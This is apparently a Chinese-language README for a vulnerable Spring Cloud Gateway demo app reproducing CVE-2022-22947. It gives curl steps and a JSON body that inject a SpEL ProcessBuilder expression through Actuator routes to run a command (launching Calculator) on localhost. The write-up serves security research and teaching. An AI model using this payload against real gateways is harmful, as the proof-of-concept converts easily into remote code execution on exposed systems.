这是一个专门用于演示和验证 CVE-2022-22947 漏洞的 Spring Cloud Gateway 应用。该应用程序使用了易受攻击的 Spring Cloud Gateway 版本,可以通过 Actuator 端点执行任意代码。
CVE-2022-22947 是 Spring Cloud Gateway 中的一个远程代码执行漏洞。攻击者可以通过 Actuator 端点动态添加包含恶意 SpEL 表达式的路由来执行任意代码。
mvn spring-boot:run
应用将在 http://localhost:8080 上启动。
发送 POST 请求到 /actuator/gateway/routes/test 端点,添加包含恶意 SpEL 表达式的路由:
curl -X POST http://localhost:8080/actuator/gateway/routes/test \
-H "Content-Type: application/json" \
-d '{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"
}
}
],
"uri": "http://example.com",
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/test"
}
}
]
}'
发送 POST 请求到 /actuator/gateway/refresh 端点来刷新路由:
curl -X POST http://localhost:8080/actuator/gateway/refresh
访问恶意路由来触发代码执行:
curl http://localhost:8080/test
成功利用漏洞后,macOS 计算器应用程序将会启动。
端点: POST /actuator/gateway/routes/test
请求头:
Content-Type: application/json
请求体:
{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"
}
}
],
"uri": "http://example.com",
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/test"
}
}
]
}
端点: POST /actuator/gateway/refresh
端点: GET /test
该漏洞允许攻击者通过 Actuator 端点动态添加路由,并在路由过滤器中使用 SpEL 表达式执行任意代码。漏洞的核心在于 Spring Cloud Gateway 对路由配置中的 SpEL 表达式处理不当。
⚠️ 安全警告: 此应用仅用于教育和安全研究目的。请勿在生产环境中使用或部署此应用。
⚠️ 法律声明: 使用此应用进行漏洞测试时,请确保您有适当的授权。未经授权的测试可能违反法律法规。